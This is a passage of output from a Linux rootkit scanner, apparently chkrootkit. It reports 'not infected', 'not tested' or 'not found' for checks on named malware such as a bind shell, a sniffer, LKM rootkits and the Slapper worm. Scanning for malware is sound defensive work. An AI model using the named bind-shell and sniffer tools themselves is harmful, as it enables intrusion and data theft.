Madalin rootkit default files... nothing found Searching for anomalies in shell history files... nothing found Checking `asp'... not infected Checking `bindshell'... not tested Checking `lkm'... not tested Checking `rexedcs'... not found Checking `sniffer'... not tested Checking `w55808'... not infected Checking `wted'... Checking `scalper'... not infected Checking `slapper'... not infected Checking `z2'... not tested: not found wtmp and/or lastlog file